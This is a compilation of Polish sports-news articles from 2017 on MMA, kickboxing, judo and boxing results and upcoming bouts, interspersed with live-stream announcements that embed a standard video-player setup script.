Z kolei z Esparzą 25-latka spotkała się w 2014 roku w finale program The Ultimate Fighter. Namajunas wygrała trzy walki, pokonując: Alex Chambers, Joannę Calderwood i Randę Markos. W decydującym starciu przegrała w trzeciej rundzie z Carlą Esparzą, która została pierwszą mistrzynią kategorii słomkowej.

A Jędrzejczyk ma na rozkładzie zarówno Esparzę, jak i Kowalkiewicz. Tą pierwszą znokautowała 14 marca 2015 roku i jest to wyjątkowa data, bo wtedy olsztynianka sięgnęła po pas w kategorii słomkowej. Od tamtego czasu Joanna Jędrzejczyk jest rozpędzona i zachwyca wszystkich obserwatorów swoimi umiejętnościami. Polka pięć razy skutecznie broniła pasa mistrzowskiego. W szóstej spotka się z Amerykanką, która swoją przygodę ze sportami walki zaczęła w wieku pięciu lat. Najpierw trenowała taekwondo, a następnie karate i jiu-jitsu.

W tym roku Rose Namajunas pokonała Michelle Waterson i zapisała na swoim koncie szóste zwycięstwo w karierze. Co ciekawe, jeszcze nigdy pojedynek z udziałem Amerykanki nie zakończył się nokautem. Aż pięć walk Namajunas wygrała przez poddanie. Z kolei Jędrzejczyk jest zawodniczką znakomicie przygotowaną kondycyjne do rywalizacji. Ostatnie cztery walki wygrała po upływie pięciu rund.

Powrót St. Pierre'a

Podczas gali UFC 217, która odbędzie się 4 listopada w Nowym Jorku 28 walkę w karierze stoczy legendarny Georges St. Pierre. 36-letni Kanadyjczyk dwukrotnie zdobywał pas wagi półśredniej. Po raz ostatni St. Pierre walczył w listopadzie 2013 roku, kiedy pokonał Johny'ego Hendricksa. W Nowym Jorku zmierzy się 38-letnim Michaelem Bispingiem, który jest mistrzem wagi średniej.

KM

„Trybson” podpisał umowę z FEN

Obok Pawła „Trybsona” Trybały nie można przejść obojętnie. Co i raz wokół zawodnika robi się głośno. Tym razem o „Trybsonie” na płaszczyźnie sportowej – Trybała podpisał umowę z federacją Fight Exclusive Night.

Ostatnio 26-latek prezentował się na galach PLMMA, ale nie brakowało głosów o problemach finansowych organizacji. Niewykluczone, że Trybała w nowej federacji zadebiutuje już 14 października.

„Trybson” przyciąga

Paweł Trybała popularność zdobył występując w jednym z programów rozrywkowych. Stał się bohaterem portali plotkarskich, co przełożyło się na jego rozpoznawalność. Postanowił spróbować swoich sił w MMA. Do historii przejdą jego utarczki słowne z Marcinem Najmanem, podczas których panowie nie szczędzili sobie uprzejmości. Na czerwcowej konferencji prasowej w Toruniu, zapowiadającej październikową galę PLMMA 74, „Trybson” rzucił w Najmana… słomką ptysiową. Omal nie doszło do rękoczynów. 

Trybała znany jest z ostrego języka i porywczego zachowania, ale teraz ma rozpocząć nowy rozdział w karierze. W sierpniu wziął udział w obozie treningowym FEN. Zaprezentował się na tyle dobrze, że organizacja postanowiła podpisać z nim kontrakt. – Po bardzo dobrej postawie na treningach i sparingach z najlepszymi wojownikami zrzeszonymi w federacji zapracował sobie na kontrakt. Paweł Jóźwiak uważa, że Trybała „ma papiery” na wielkiego zawodnika i niewykluczone, że już podczas najbliższej gali, która 14 października odbędzie się we Wrocławiu, zobaczymy go w oktagonie – poinformowała organizacja Fight Exclusive Night.

Teraz przed Trybałą praca nad kondycją. Co do jego występu we Wrocławiu nie zapadły żadne decyzje. Ale walka „Trybsona” mogłaby być prawdziwym magnesem dla miłośników MMA. Po raz ostatnim Trybała rywalizował w maju na gali PLMMA 73. Przegrał przez poddanie z Adamem Niedźwiedziem, zaś w marcu szybko uporał się z Pawłem Bolanowskim.

Gwiazd nie zabraknie

14 października mistrzowskiego pasa FEN w K-1 w wadze piórkowej będzie broniła Róża Gumienna. Wrocławianka wywalczyła tytuł w styczniu w Lubinie, gdzie pokonała Martinę Fendrichovą. Podczas FEN 19 będzie broniła pasa po raz pierwszy. 

We Wrocławiu zaprezentuje się również Arkadiusz Wrzosek (K-1, +95kg). W marcu, na FEN 16, pokonał Artur Bizewskiego jednogłośną decyzją sędziów.

W walce wieczoru gali FEN 19 „Bitwa o Wrocław” mistrz wagi piórkowej Paweł Biszczak zmierzy się z Wojciechem Wierzbickim.

Fot. Facebook

KM

Młodzi Polacy zdobyli 66 medali!

To jest dopiero dorobek! Te liczby robią ogromne wrażenie i pokazują, że polski kickboxing ma mocny fundament. W mistrzostwach Europy juniorów i kadetów w Skopje Polacy zdobyli 66 medali. Najlepsi w całym turnieju byli Rosjanie – 135 krążków.

Biało-czerwoni zajęli 10. miejsce w klasyfikacji medalowej, choć pod względem liczby zdobytych medali byli trzeci. O kolejności zadecydowały krążki z najcenniejszego kruszcu. Tych Polacy zdobyli dziewięć.

Są powody do radości

Ile razy załamujemy ręce w przypadku naszych narodowych i niezwykle popularnych dyscyplin? Jeszcze kiedyś śpiewaliśmy „Polacy nic się nie stało”. Teraz sytuacja jest zgoła odmienna. Jednak w przypadku innych dyscyplin należy spuścić zasłonę milczenia. Ostatnie występy siatkarzy i koszykarzy rozczarowały. A nasi kickboxerzy zawsze spisują się na medal. Niezależnie, czy mówimy o kadetach, juniorach czy seniorach.

Tym razem mowa o tych dwóch pierwszych kategoriach wiekowych. Początek września to podróż 150-osobowej reprezentacji Polski kadetów i juniorów do Skopje. W stolicy Macedonii łącznie zaprezentowało się ponad 1500 zawodników. Polacy zakończyli rywalizację z dorobkiem 66 medali, w tym 9 złotych, 11 srebrnych i 46 brązowych. Najwięcej, bo cztery krążki z najcenniejszego kruszcu, biało-czerwoni wywalczyli w formule kick light. Na najwyższym stopniu podium stanęli: Klara Piętak (65kg, junior), Krzysztof Łuniewicz-Stępniak (74kg, junior), Michał Adamek (94kg, junior), Jonatan Babińczuk (52kg, kadet starszy). W low-kicku po złoto sięgnęli Zuzanna Matusiewicz (70kg, junior starszy) oraz Michał Kuźniak (81kg, junior młodszy), a w full contact – Jolanta Cichoń (+70kg, junior starszy) i Kacper Dąbrowski (91kg, junior starszy). Z kolei w light contact triumfował Cezary Pleta (94kg, junior).

O ocenę startu biało-czerwonych poprosiliśmy prezesa Polskiego Związku Kickboxingu Piotra Siegoczyńskiego. – Zdobyliśmy dużo medali, ale mogliśmy jeszcze więcej wycisnąć. Mistrzostwa Europy są specyficzną imprezą, więc cieszymy się z tego, co osiągnęliśmy. Mocno obsadzone były kategorie w formułach pointfighting i light contact. W niektórych walkach sędziowie wydali wątpliwe werdykty – powiedział nam trzykrotny mistrz świata.

Dobre widoki na przyszłość

Młodzi kickboxerzy dają nadzieję, że w kolejnych latach możemy być spokojni o sukcesy. – To musi być dobrze wyglądająca piramida. Szkolimy zawodników, aby doskonalili się i odnosili sukcesy również na poziomie seniorskim. Teraz uważnie będziemy przyglądać się juniorom. Ważne, żeby się pokazywali i zdobywali doświadczenie – mówi Piotr Siegoczyński.

Pierwsza trójka mistrzostw Europy: Rosja (135 medali, – 57, 45, 33), Węgry (72 – 20, 22, 30) i Włochy (60 – 18, 17, 25).

KM

LIVE: Mistrzostw Polski w Kickboxingu Seniorów i Weteranów Light Contact 2017

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski w Kickboxingu Seniorów i Weteranów w formule Light-Contact. Zawody odbędą się w dniach 16-17 września 2017 r. we Włoszakowicach.

[kod]

Mistrzostw Polski w Kickboxingu Seniorów i Weteranów Light Contact

Mistrzostw Polski w Kickboxingu Seniorów i Weteranów Light Contact

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_KickLight_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_KickLight_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_KickLight_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_KickLight_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Siedem medali Polaków w Bratysławie

Bardzo dobry występ polskich judoków w Pucharze Europy w Bratysławie. Biało-czerwoni wywalczyli sześć medali, w tym jeden złoty. Większą zdobyczą mogą pochwalić się tylko Włosi, którzy na swoim koncie zapisali dziewięć krążków.

Ilość nie przekłada się na miejsce w klasyfikacji medalowej. Polacy zajęli szóstą pozycję, z kolei Włosi piątą. Najlepsi okazali się Słoweńcy, którzy zdobyli trzy złota. Za nimi Holendrzy z sześcioma medalami, w tym dwoma z najcenniejszego kruszcu. Na najniższym stopniu podium znalazła się Ukraina (cztery medale, w tym dwa złote).

Złoto Golusa

W Bratysławie największy sukces w karierze odniósł Łukasz Golus (66kg). Cztery wygrane walki pozwoliły 26-letniemu zawodnikowi uplasować się najwyższym stopniu podium. Na początek judoka GKS Czarni Bytom pokonał Ukraińca Oleksandra Moisei, a następnie Węgra Akosa Barthę. W półfinale Golus trafił na Włocha Biagio Stefanelliego, który w tym roku zajmował siódme miejsca w Dubrovniku i Bukareszcie. Polak wygrał przez waza ari, z kolei w finale uporał się z Serbem Iliją Ciganoviciem. Dla 26-letniego Golusa Bratysława to wyjątkowe miejsce. Na Słowacji startował dwa i trzy lata temu, ale zajmował wtedy odpowiednio siódme i piąte miejsce.

W kategorii 66kg na podium zameldował się również Jacek Brysz. Po dwóch wygranych walkach, 28-latek musiał uznać wyższość późniejszego finalisty Ciganovicia. W repasażach Brysz zanotował dwie wygrane, pokonał m.in. Bartosza Dobranowskiego. A w starciu o brąz okazał się lepszy od Włocha Stefanelliego, który wcześniej przegrał z Golusem. Warto dodać, że na siódmych lokatach uplasowali się wspomniany Dobranowski i Arkadiusz Makarewicz. 

Brąz dla Bartłomieja Garbacika (60kg). 25-latek powtórzył sukces sprzed dwóch lat, kiedy w Bratysławie również znalazł się na najniższym stopniu podium. Na drodze Polaka do finału stanął David Starkel. W starciu o brąz Garbacik przed czasem pokonał Czecha Michala Cernego.

Rafał Kozłowski szedł jak burza. 21-letni judoka wygrał trzy walki przed czasem, jednak w półfinale trafił na Petera Zilkę, który pozbawił go marzeń o walce o złoto. Polakowi pozostało starcie o brąz. Akademicki mistrz Europy z Coimbry okazał się lepszy od Basa van Empelena.

Warto również wspomnieć o siódmych miejscach Damiana Stępnia (81kg) i Michała Dudka (+100kg).

Trzy brązowe dziewczyny

Trzy wygrane walki dały brąz Joannie Stankiewicz (48kg). W walce decydującej o podium 24-latka pokonała Katarzynę Wiszniewską. 

Karolina Pieńkowska (52kg) nie raz pokazała, że drzemią w niej spore możliwości. Młodzieżowa mistrzyni Europy z 2015 roku jest mocnym punktem naszej kadry. W tym roku nie stała jeszcze na podium. Najbliżej medalu była w Pradze, gdzie zajęła piątą lokatę. W Bratysławie Polka przegrała jedynie z Anją Stangar. Półfinałowa porażka sprawiła, że Pieńkowska rywalizowała o brąz z Tinką Easton z Australii. Po zakończeniu rywalizacji Polka mogła cieszyć się ze zwycięstwa.

Krótką drogę do medalu miała Urszula Hofman (70kg). Trzy walki i trzecie miejsce 22-letniej Polki. W starciu o brąz Hofman pokonała Patrycję Lorenc, która ostatecznie była piąta. Siódme miejsce dla Aleksandry Grygiel.

Angelika Szymańska (63kg) wygrała dwie walki, co dało jej siódmą pozycję.

KM

Rusza World Boxing Super Series

Pierwsza odsłona rywalizacji w turniej boksu zawodowego World Boxing Super Series odbędzie się w Berlinie, gdzie w sobotni (9 września) wieczór rękawice skrzyżują mistrz WBO wagi junior ciężkiej Oleksandr Usyk i Marco Huck. Polscy fani pięściarstwa będą ściskać kciuki za Krzysztofa Włodarczyka. Popularny „Diablo” zaprezentuje się 21 października w hali Prudential Center w Newark, gdzie zmierzy się z czempionem IBF Muratem Gasijewem.

Dwie kategorie wagowe, junior ciężka i super średnia, – w każdej z nich po ośmiu bokserów. Pula nagród wyniesie 50 milionów dolarów! To propozycja, która ma zadowolić kibiców boksu i zapewnić im ogromne emocje.

Start w Berlinie

8 lipca odbyła się ceremonia losowania par w Monako. Stopniowo ustalono harmonogram, zgodnie z nim na przełomie września i października odbędzie się rywalizacja ćwierćfinałowa. W kategorii super średniej zaprezentują się: Chris Eubank Jr, George Groves, Callum Smith, Juergen Breahmer, Erik Skoglund, Avni Yildrim, Jamie Cox i Rob Brant. Z kolei w wadze junior ciężkiej zobaczymy: Oleksandra Usyka, Mairisa Briedisa, Murata Gassijewa, Yuniera Dorticosa, Krzysztofa Włodarczyka, Marco Hucka, Dmitrija Kudriaszowa i Mike'a Pereza.

Już na sam początek turniejowych zmagań kibiców czeka niezwykle smakowity kąsek. W Berlinie były mistrz WBO Marco Huck, który stracił pas w sierpniu 2015 roku na rzecz Krzysztofa Głowackiego zmierzy się z aktualnym czempionem Oleksandrem Usykien. 30-letni Ukrainiec dwukrotnie bronił tytuł. Na swoim koncie zapisał 12 zwycięstw, w tym 10 przed czasem. Co prawda Usyk ma niewielkie doświadczenie zawodowe, ale jest bokserem najwyższej klasy. W startach amatorskich odnosił wielkie sukcesy m.in. zdobył złoto igrzysk w Londynie w 2012 roku. Z kolei Huck stoczył aż 45 zawodowych walk, z których wygrał 40.

Walka o tytuł, a zarazem o przepustkę do półfinału turnieju w wadze junior ciężkiej. Bokserzy są przygotowani na trudy rywalizacji. – Nie mogę się doczekać walki – mówi Marco Huck. – Usyk stoczy największą bitwę w karierze i powinien przygotować się na wojnę, którą przegra – dodaje 32-latek urodzony w Ugao. – Czuję się bardzo dobrze – podkreślił mistrz WBO Oleksandr Usyk. – Jestem gotowy zaimponować fanom w Berlinie i oglądającym walkę na całym świecie – uzupełnił Ukrainiec.

Czekamy na Włodarczyka

Polski kibiców najbardziej interesuje występ Krzysztofa Włodarczyka w turnieju WBSS. 21 października w Newark były mistrz świata IBF i WBC zmierzy się z aktualnym czempionem IBF Muratem Gasijewem. Dla Włodarczyka będzie to 58 walka w karierze. Blisko 36-letni pięściarz ma serię czterech zwycięstw z rzędu. Gasijew nie przegrał jeszcze nigdy w karierze. Walka z Włodarczykiem będzie jego 25 starciem na zawodowym ringu.

Warto wspomnieć o najnowszym zestawieniu IBF. Włodarczyk zajmuje w nim pozycję nr 1 w kategorii junior ciężkiej, Krzysztof Głowacki jest ósmy, a Mateusz Masternak dziewiąty.

KM

LIVE: XXV Warszawska Granda na Pięści i Giry

Zapraszamy na transmisję telewizyjną na żywo z XXV Warszawskiej Grandy na Pięści i Giry. 

 [kod]

 

 

XXV Warszawska Granda

XXV Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/XXIVWarszawskaGranda.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/XXIVWarszawskaGranda.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/XXIVWarszawskaGranda.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/XXIVWarszawskaGranda.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mecz Polska vs Ukraina w Kickboxingu w formule Kick-Light, Gdańsk 2017

Zapraszamy na transmisję telewizyjną na żywo z Meczu Polska vs Ukraina w Kickboxingu w formule Kick-Light. Zawody odbędą się w dniu 22 września 2017 r. w Gdańsku.

[kod]

Mecz Polska vs Ukraina w Kickboxingu w formule Kick-Light

Mecz Polska vs Ukraina w Kickboxingu w formule Kick-Light

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/KickLightPolskaUkraina.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/KickLightPolskaUkraina.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/KickLightPolskaUkraina.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/KickLightPolskaUkraina.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Puchar Polski w Kickboxingu w formule Low-Kick, Kobyłka 2017

Zapraszamy na transmisję telewizyjną na żywo z gali finałowej Pucharu Polski w Kickboxingu w formule Low-Kick. Zawody odbędą się w dniach 22-24 września 2017 r. w Kobyłce.

[kod]

Puchar Polski w Kickboxingu w formule Low-Kick

Puchar Polski w Kickboxingu w formule Low-Kick

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LowKick2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LowKick2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LowKick2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LowKick2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

PREMIERA: PZKB TV odc. 1

Zapraszamy na premierowy odcinek nowego projektu telewizyjnego pod nazwą PZKB TV. Programy będą miały swoją premierę i emisję w każdy czwartek o godz. 19.00. Będą kanały tematyczne o roboczych nazwach: PZKB TV, PZKB News, PZKB Historia, PZKB Sport. ZAPRASZAMY!!!

[kod]

Kowalkiewicz poznała rywalkę

W Gdańsku Karolina Kowalkiewicz stoczy swoją szóstą walkę w UFC. Jej rywalką będzie 31-letnia Jodie Esquibel. Wyjaśniła się również kwestia występu Michała Materli na gali w Gdańsku.

Szykuje się wielkie święto MMA w Polsce. Wakacje już za nami, czas leci nieubłagania, a więc ani się obejrzymy, a będziemy się emocjonować galą UFC Fight Night 118 w Gdańsku. Wydarzenie odbędzie się 21 października.

Po czwarte zwycięstwo

W lutym 2015 roku podczas gali KSW 30 Genesis w Poznaniu kibice po raz ostatni mogli podziwiać Karolinę Kowalkiewicz w Polsce. Przed starciem z Kalindrą Farią fighterka z Łodzi nie ukrywała, że może być to najtrudniejsze wyzwanie w jej karierze. Kowalkiewicz zdała ten egzamin i niemal pewny wydawał się jej angaż w UFC. Jeszcze w grudniu 2015 roku zadebiutowała w amerykańskiej organizacji pokonując Randę Markos.

Dwie kolejne wygrane, z Heather Clark i Rose Namajunas, sprawiły, że akcje Polki w wadze słomkowej poszły w górę. Nagrodą za dobrą dyspozycję dla fighterki z Łodzi była walka o pas mistrzowski z Joanną Jędrzejczyk. Po pięciorundowym boju Kowalkiewicz musiała uznać wyższość rywalki. W czerwcu spotkała się z mocną Claudią Gadelhą i już w pierwszej rundzie rywalizacja dobiegła końca. Polka przegrała przez poddanie. Kolejną szansę na zaprezentowanie umiejętności 31-letnia Kowalkiewicz dostanie w Gdańsku. Jej nazwisko długo znajdowało się w karcie walk, ale obok brakowało danych rywalki. Wiadomo, że 21 października w swoim szóstym występie w UFC Polka zmierzy się z Jodie Esquibel.

31-letnia Amerykanka od 2013 roku występowała w organizacji Invicta. W październiku zadebiutuje w UFC, a więc będzie chciała pokazać się z dobrej strony. Esquibel to niezwykle wytrzymała i mocna zawodniczka. Amerykanka wygrała sześć z ośmiu walk, jednak tylko raz przed czasem. 

W Gdańsku zaprezentują się również Jan Błachowicz, Marcin Held, Oskar Piechota, Damian Stasiak i Adam Wieczorek.

Bez Materli

W ostatnim czasie spekulowano na temat występu Michała Materli na gdańskiej gali UFC. Polak miał rywalizować z Thiago Santosem. Jednak przedstawiciele zawodnika i amerykańskiej organizacji nie doszli do porozumienia i wszystko wskazuje, że Materla kolejną walkę stoczy dla KSW.

O niepowodzeniu rozmów z UFC miały zadecydować względy finansowe, ale także zakaz opuszczenia kraju przez zawodnika. Warto wspomnieć, że przez blisko osiem miesięcy szczecinianin przebywał w areszcie. 

Ostatnią walkę Michał Materla stoczył 1 października 2016 roku na gali KSW 36 w Zielonej Górze. Były czempion wagi średniej pokonał przez nokaut Rousimara Palharesa.

Fot. Facebook Karolina Kowalkiewicz

KM

Riner nie do zatrzymania

Dominator, król, ikona. Bez wątpienia Teddy Riner jest najbardziej rozpoznawalnym, a zarazem najbardziej utytułowanym judoką na świecie. 28-latek w Budapeszcie sięgnął po ósmy tytuł mistrza świata w +100kg, a dziewiąty biorąc pod uwagę złoto wywalczone w kategorii open w 2008 roku . Reprezentant Francji tworzy wspaniałą historię.

Michael Phelps, Michael Jordan, Roger Federer to prawdziwi mistrzowie, którzy w swoich dyscyplinach weszli na szczyt i znaleźli się na ustach całego świata. Z pewnością do tego grona może aspirować Teddy Riner.

Nie ma mocnych

Pokonać Rinera – to cel każdego judoki. Ten, który dokona tej sztuki zapisze się złotymi literami w historii dyscypliny. Jednak nie jest będzie łatwe, jeśli w ogóle możliwe. Teddy Riner wygrał 134 pojedynki z rzędu! Rio de Janeiro, Rotterdam, Tokio, Paryż, ponowie Rio, Czelabińsk, Astana – gdzie Francuz się nie zjawił, tam zdobywał złoto. Rywalizacja w kategorii +100kg stała się przewidywalna jak choinka na święta. Pojawiał się Riner, wszyscy opuszczali ręce i wiedzieli, że stoją na przegranej pozycji.

Podobnie było w Budapeszcie. Do stolicy Węgier Riner pojechał jako wicelider światowego rankingu, mistrz olimpijski i świata. Czego można było się spodziewać? Wiadomo. Francuz wygrał sześć walk, w półfinale pokonał mistrza Europy Gruzina Gurama Tushishviliego, a w finale Brazylijczyka Davida Mourę.

Teddy Riner wywalczył łącznie czternaście złotych medali największych imprez – igrzysk olimpijskich, mistrzostw świata i Europy.

Polski akcent

Mistrzostwa świata w Budapeszcie Polacy zakończyli z jednym medalem. Brązowy krążek wywalczyła Agata Ozdoba (63kg), która wygrała pięć walk. W półfinale Polka przegrała z Clarisse Agbegnenou, późniejszą złotą medalistką.

Miłym akcentem dla polskich kibiców była również wygrana Macieja Sarnackiego (+90kg) w rywalizacji zespołów mieszanych z wicemistrzem świata wagi ciężkiej Davidem Mourą. Jednak pozostali Polacy nie sprostali Brazylijczykom i przegrali w 1/8 finału 1:5. Po złoto sięgnęli Japończycy.

Zdecydowany triumf

W klasyfikacji medalowej najlepsi okazali się Japończycy. Judocy z Kraju Kwitnącej Wiśni zdobyli łącznie dwanaście medali, w tym siedem złotych. Po raz kolejny Japończycy udowodnili ogromne umiejętności. Rewelacyjnie zaprezentował się 20-latek Hifumi Abe (66kg), który triumfował w piątym starcie z rzędu i odniósł największy sukces w dotychczasowej karierze.

Za plecami Japończyków Francuzi z trzema medalami, w tym dwoma złotymi. Oprócz Rinera krążek z najcenniejszego kruszcu dla Trójkolorowych wywalczyła wspomniana Clarisse Agbegnenou. Trzecie miejsce dla Mongolczyków, którzy zdobyli sześć medali, ale tylko jeden złoty.

KM

Chcą osiągnąć światowy poziom

Federacja Ladies Fight Night rośnie w siłę i działa coraz prężniej. Pokazała to ostatnia gala w Rawie Mazowieckiej, gdzie nie zabrakło świetnych walk. LFN nie powiedziała ostatniego słowa. W tym roku federacja zamierza zorganizować kolejną galę.

Ladies Fight Night przełamuje pewien schemat. W ringu nie muszą rywalizować mężczyźni, aby pojawiały się emocje i efektowne walki. Panie też znają się na rzeczy. 

Rozkręcają się, a apetyt rośnie

Blisko dwa lata temu na rynku sportów walki pojawiła się federacja Ladies Fight Night. Niejednokrotnie zastanawiano się, czy ten projekt się powiedzie. Mamy rok 2017 i sześć gal LFN za sobą. Pojedynki w formule MMA i K-1 przyciągają kibiców, którzy chcą zobaczyć w akcji ciekawe zawodniczki m.in. Sylwię Juśkiewicz, Katarzynę Posiadałę czy Hannę Gujwan. Co ważne dla fanów sportów walki, wejściówki na wydarzenia LFN są bezpłatne, ale zawsze należy się spieszyć, bo ich ilość jest ograniczona. Walki można śledzić również w internecie.

Ladies Fight Night przygotowuje kolejne gale tak, aby nie zabrakło sportowych emocji, ale i atrakcji. Władze federacji podkreślają, że cały czas chcą się doskonalić. – To co dla naszych kibiców wygląda super i jest dopięte na ostatni guzik, w naszym odczuciu prezentuje się inaczej. My jak zawsze patrzymy na nasze działania bardzo krytycznym okiem. Zależy nam aby nasi kibice czuli się dopieszczeni, dlatego staramy się zaskakiwać i być coraz lepsi. Chcemy, aby nasze eventy były na światowym poziomie –  podkreśla Łukasz Chmal, prezes Ladies Fight Night.

Organizacja imprezy to jedno, a istotą sprawy jest poziom sportowy. W dotychczasowych fight cardach pojawiały się znane, a także utalentowane polskie fighterki. Federacja sięga również po zawodniczki z zagranicy. Na gali Ladies Fight Night „Ira” w Rawie Mazowieckiej zaprezentowało się jedenaście zawodniczek spoza Polski. Po raz kolejny zachwyciła Annisa Haddaoui, która w walce wieczoru pokonała Kamilę Bałandę. Oboecność zagranicznych zawodniczek wzbogaca wydarzenia LFN, ale i polskie fighterki ruszają w świat. Przykładem jest Hanna Gujwan, która rywalizowała w Rizin. Niebawem w Japonii zaprezentuje się Sylwia Juśkiewicz. – Dzięki współpracy LFN z największymi zagranicznymi organizacjami mamy większą możliwość kontraktowania i wymiany zawodniczek. My również zapraszamy dużo zawodniczek, poznajemy się i w efekcie to procentuje długofalową współpracą na różnych płaszczyznach – tłumaczy prezes LFN.

Działalność polskiej federacji oparta jest na długofalowej wizji i konsekwencji. Przy zachowaniu poziomu sportowego, LFN dba niemalże o każdy detal. 

Będą urodziny

Pierwsza gala Ladies Fight Night odbyła się 18 grudnia 2015 roku w hotelu Double Tree by Hilton w Łodzi. Rok później przyszedł czas na świętowanie. Pierwsze urodziny federacja obchodziła w pięknej scenerii, u podnóża Śnieżki. W hotelu Gołębiewski odbyło się dziewięć walk. Nie zabrakło nieodpłatnych przekąsek dla widowni i atrakcji. Udało nam się dowiedzieć, że LFN zamierza świętować drugie urodziny. Na szczegóły musimy jednak poczekać. – Do końca roku mamy w planach obóz sportowy oraz 7. galę. To będzie nasza urodzinowa gala, dlatego już teraz przygotowania idą pełną parą. Oprócz niezliczonych atrakcji, wysoki poziom sportowy i być może trochę inna formuła organizacyjna. Poza tym mamy w planach jeszcze w tym roku zakontraktować nowe zawodniczki… Niektóre nazwiska zapewne was zaskoczą – przedstawia Łukasz Chmal. 

Fot. Ladies Fight Night Facebook

KM

Sukces polskiej judoczki na MŚ

Agata Ozdoba (63kg) wywalczyła brązowy medal mistrzostw świata w judo, które odbywają się w Budapeszcie. To największy sukces w karierze 29-letniej zawodniczki.

Słońce na stolicą Węgier zaświeciło dla Polski. Indywidualnie Agata Ozdoba zapisała na swoim koncie drugi  medal mistrzowskiej imprezy. Trzy lata temu sięgnęła po brąz mistrzostw Europy w Montpellier.

Szóstka była blisko

Powszechnie mniemany, że pełnią szczęścia jest trafienie szóstki w pewnej grze liczbowej. Miliony na koncie, komfort i szansa na zrealizowanie wszystkich marzeń. W Budapeszcie Agata Ozdoba była bardzo blisko, aby wejść do raju. Wszystko układało się po myśli Polki, jednak w półfinałowym starciu przegrała po wyrównanej walce z Clarisse Agbegnenou. Przyszła mistrzyni świata wygrała jedną karą shido.

Przed czempionatem judoczka AZS-AWF Wrocław wygrała zawody w Mińsku. Wynik z pewnością dawał powody do optymizmu, ale… W marcu Ozdoba była trzecia w Pradze, a później startowała w mistrzostwach świata w Warszawie. Na początku 29-latce dopisało szczęście, bo miała wolny los, ale poległa już na pierwszej przeszkodzie w postaci Kathrin Unterwurzacher. Ostatecznie wiceliderka światowych list w Warszawie zdobyła brąz. 

Wracając do Ozdoby, sytuacja się nie powtórzyła. W Budapeszcie Polka wygrała pięć walk, ale już na początku wysoko poprzeczkę zawiesiła jej Adelina Stefania Dobre. Polka wygrała jedną karą shido. W trzecim pojedynku Ozdoba spotkała się z Edwige Gwend, którą pokonała w 2014 roku w Montpellier. Scenariusz powtórzył się. Kolejną ofiarą Polki była 29-letnia Ketleyn Quadros. Gdyby nie Agbegnenou… 

W starciu o brąz Polka trafiła na… Polkę, która walczy w barwach Niemiec. 28-letnia Martyna Trajdos to złota medalistka Igrzysk Europejskich w Baku. W dogrywce Ozdoba zdobyła waza ari i wywalczyła brąz. Łącznie 29-latka wygrała pięć walka (pokonała jeszcze Mię Hermansson) i odniosła największy sukces w swojej karierze.

Nie da się ukryć, że Agata Ozdoba zaprezentowała się świetnie. Pokonała cztery rywalki, które znajdują się wyżej w światowym rankingu. Trajdos (4. miejsce), Gwend (14), Quadros (17), Hermansson (49), zaś brązowa medalistka z Budapesztu zajmują 56. pozycję.

Piękna chwila

Smak medalu mistrzostw świata jest wyjątkowy. Na wywalczenie miejsca na podium w czempionacie globu czekaliśmy trzy lata. W 2014 roku w Czelabińsku brąz zdobyła Katarzyna Kłys (70kg). A wcześniej Polska cieszyła się z trzeciego miejsca Roberta Krawczyka w 2003 roku. Warto wspomnieć o brązie Grzegorza Eitela w 2008 roku, ale był to turniej tylko w kategorii open.

Dwa lata temu w Astanie nasza drużyna kobiet sięgnęła po srebro. W Kazachstanie Polki musiały uznać wyższość Japonek. Na sukces kadry pracowały: Karolina Pieńkowska (52 kg), Arleta Podolak (57 kg), Anna Borowska, Agata Ozdoba, Karolina Tałach (63kg), Katarzyna Kłys (70 kg) oraz Daria Pogorzelec i Katarzyna Furmanek (+70 kg)

Oby budapesztański sukces Agaty Ozdoby był dobrym prognostykiem na przyszłość, aby polscy fani judo regularnie mogli skakać z radości. A nie tylko od święta.

fot. IJF/Facebook

KM

Juras w WCA Fight Team

Jeden z najbardziej znanych i lubianych polskich zawodników MMA Łukasz „Juras” Jurkowski będzie trenował w WCA Fight Team.

36-latek to człowiek orkiestra. Ikona sportów walki w Polsce, komentator oraz spiker. W tym roku „Juras” ponownie wrócił do rywalizacji w oktagonie. Wszyscy liczyli na jego kolejny występ, jednak należy uzbroić się w cierpliwość. Tymczasem…

Nowy team

W maju Łukasz Jurkowski wrócił do oktagonu po sześciu latach. 36-latek wystąpił w Warszawie na gali KSW 39 Colosseum i wygrał z Rameau Thierry'm Sokoudjou. Natychmiast rozpoczęły się dyskusje na temat jego kolejnych walk dla organizacji Martina Lewandowskiego i Macieja Kawulskiego. Mówiło się, że „Juras” wystąpi na październikowej gali KSW w Dublinie. Sam zawodnik potwierdził otrzymanie propozycji, jednak musiał odmówić ze względów zdrowotnych. Chodzi o problemy po czerwcowym wypadku na motocyklu. Zapowiedział zarazem, że liczy na szybki powrót. Z KSW podpisał kontrakt na dwie walki, a więc jedną w ramach tej umowy musi jeszcze stoczyć.

